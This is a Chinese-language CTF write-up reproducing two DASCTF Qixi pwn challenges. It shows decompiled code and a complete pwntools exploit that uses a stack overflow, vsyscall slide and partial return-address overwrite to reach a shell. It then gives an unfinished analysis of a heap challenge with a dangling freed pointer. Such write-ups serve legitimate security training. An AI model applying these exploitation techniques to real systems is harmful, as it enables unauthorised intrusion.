七夕_DASCTF_pwn_复现

0x1 magic_number

分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  sub_5559684A09A0(a1, a2, a3);
  v5 = rand();
  if ( v5 == 305419896 )
    system("/bin/sh");
  puts("Your Input :");
  read(0, &buf, 0x100uLL);
  return 0LL;
}

存在栈溢出,而且给了 system('/bin/sh') ,我们想办法调用即可。

ki@ki-virtual-machine:/mnt/hgfs/gx16$ checksec pwn1
[*] '/mnt/hgfs/gx16/pwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开启了 pie ,但是没开 cannary ,可以用 vsyscall 滑栈拿 shell 。看一下栈的情况:
七夕_DASCTF_pwn_复现

覆盖 main 低位为 system("/bin/sh") 的地址,返回地址至 main 处填上 vsyscall 中的 vgettimeofday 地址即可。
PS:这题我测了下,16 跟 18 都可以,所以使用 vsyscall 滑栈在 pie 开启且没有给 libc 的情况下是挺实用的。

exp

from pwn import *

file_name = './pwn1'
libc_name = ''

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

libc = elf.libc
syscall_vgettimeofday = 0xffffffffff600000

payload = 'a' * 0x38 + p64(0xffffffffff600000) * 4 + '\xa8'

p.send(payload)

p.interactive()

0x2 Silly_white_sweet

分析

先看看程序的功能

puts addr

  puts("Do you like Lao Ganma?");
  return printf("Nanshan Pizza Hut give you a gift : %p\n", &puts);

题目首先给了 puts 函数的地址,初始 money 为 0x40000 。

add 函数

  if ( choice == 1 && a4_dword_20301C && meney_dword_203010 - 256 >= 0 )
  {
    *((_DWORD *)&size_203068 + 6 * idx) = 1280;
    *((_QWORD *)&addr_203060 + 3 * idx) = malloc(0x500uLL);
    puts("Please write the paper content:");
    read(0, *((void **)&addr_203060 + 3 * idx), 0x499uLL);
    --a4_dword_20301C;
    puts("You cost $256 for sign a new contract!");
    meney_dword_203010 -= 256;
    result = inuse_dword_203070;
    inuse_dword_203070[6 * idx] = 1;
  }
  else
  {
    if ( choice != 2 || !a1_dword_203018 || meney_dword_203010 - 256 < 0 )
      my_exit();
    *((_DWORD *)&size_203068 + 6 * idx) = 18592;
    *((_QWORD *)&addr_203060 + 3 * idx) = malloc(*((signed int *)&size_203068 + 6 * idx));
    puts("Please write the paper content:");
    read(0, *((void **)&addr_203060 + 3 * idx), (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1));
    --a1_dword_203018;
    puts("You cost $256 for sign a new contract!");
    meney_dword_203010 -= 256;
    result = inuse_dword_203070;
    inuse_dword_203070[6 * idx] = 1;
  }
  1. 可以分配 0x500 和 0x48a0 两种 chunk , 每种 chunk 只能分配三次 。
  2. 可以往 chunk 中写 size - 1 的内容。
  3. 每次分配需要 256 money 。

confirm 函数

  if ( idx < 0 || idx > 4 )
    my_exit();
  if ( !inuse_dword_203070[6 * idx] )
    my_exit();
  if ( *((_DWORD *)&confirm_unk_20306C + 6 * idx) )
  {
    puts("You already confirm it!");
    my_exit();
  }
  if ( *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
  {
    puts("No!you don't have enough money!");
    my_exit();
  }
  printf("You cost $%d to confirm contract!\n", *((unsigned int *)&size_203068 + 6 * idx));
  meney_dword_203010 -= *((_DWORD *)&size_203068 + 6 * idx);
  puts("Plz comfirm your contract content!");
  puts(*((const char **)&addr_203060 + 3 * idx));
  result = &confirm_unk_20306C;
  *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 1;
  1. idx 需要在 0 至 4 之间。
  2. 这个 chunk 必须被分配过。
  3. 这个 chunk 不能 confirm 过。
  4. 需要 szie 大小的 money 。
  5. 将 chunk 内容打印出来 ,也相当于 show 函数。

delete 函数

  __isoc99_scanf("%d", &idx);
  if ( idx < 0 || idx > 4 )
    my_exit();
  if ( !inuse_dword_203070[6 * idx] )
    my_exit();
  if ( !*((_DWORD *)&confirm_unk_20306C + 6 * idx) )
  {
    puts("plz confirm it first!");
    my_exit();
  }
  if ( 2 * *((_DWORD *)&size_203068 + 6 * idx) > meney_dword_203010 )
  {
    puts("No!you don't have enough money!");
    my_exit();
  }
  printf(
    "You cost $%d for unilaterally terminates the contract!\n",
    (unsigned int)(2 * *((_DWORD *)&size_203068 + 6 * idx)));
  meney_dword_203010 -= 2 * *((_DWORD *)&size_203068 + 6 * idx);
  free(*((void **)&addr_203060 + 3 * idx));
  inuse_dword_203070[6 * idx] = 0;
  result = &confirm_unk_20306C;
  *((_DWORD *)&confirm_unk_20306C + 6 * idx) = 0;
  1. idx 在 0 到 4 之间。
  2. 这个 chunk 必须被分配过。
  3. 这个 chunk 必须 confirm 过。
  4. 需要 2 * size 的 money 。
  5. 单纯的释放 chunk ,指针没有置 0 ,不过 inuse 位置 0 了。

show && edit 函数

    if ( !dword_203014 )
    {
      puts("You don't have any court!");
      my_exit();
    }
    idx = 0;
    printf("Please select the contract to use :");
    __isoc99_scanf("%d", &idx);
    if ( idx < 0 || idx > 4 )
      my_exit();
    choice = 0;
    printf("You want to read(1) or write(2) :", &idx);
    __isoc99_scanf("%d", &choice);
    if ( choice != 1 && choice != 2 )
      my_exit();
    if ( choice == 1 )
    {
      puts("This is your contract content!");
      puts(*((const char **)&addr_203060 + 3 * idx));
    }
    else
    {
      v2 = 0;
      printf("Please select the offset to use :", &choice);
      __isoc99_scanf("%d", &v2);
      if ( v2 < 0 || *((_DWORD *)&size_203068 + 6 * idx) - 1 <= v2 )
        my_exit();
      puts("Please change the contract content:");
      read(
        0,
        (void *)(*((_QWORD *)&addr_203060 + 3 * idx) + v2),
        (unsigned int)(*((_DWORD *)&size_203068 + 6 * idx) - 1 - v2));
    }
    printf("You will cost $%d to sue!\n", (unsigned int)(10 * *((_DWORD *)&size_203068 + 6 * idx)));
    result = (unsigned int)(-10 * *((_DWORD *)&size_203068 + 6 * idx) + meney_dword_203010);
    if ( (signed int)result >= 0 )
    {
      v1 = -10 * *((_DWORD *)&size_203068 + 6 * idx);
      result = (unsigned int)(v1 + meney_dword_203010);
      meney_dword_203010 += v1;
    }
    else
    {
      meney_dword_203010 = 1;
    }
  }
  else
  {
    puts("No!you don't have enough money!");
    result = (unsigned int)(meney_dword_203010-- - 1);
  }

这其实是把 add 与 edit 函数写到了一起。

  1. 法院不能被 sold 了。
  2. money 要超过 0x10000 。
  3. idx 在 0 到 4 之间。

接下来进入判断分支:
read 分支:

  • 打印 chunk 的内容 。

write 分支:

  • 修改 chunk 内某处起的内容。
  1. 需要 size * 10 的 money 。

sold court

      case 5u:
        if ( dword_203014 )
        {
          puts("You sold court!");
          meney_dword_203010 += 512;
          dword_203014 = 0;
        }
        else
        {
          puts("You don't have any court!");
        }

有一个分支可以卖法院得钱 。

(未完待续...)

上一篇:pwn入门04---ret2shellcode


下一篇:MIPS Pwn赛题学习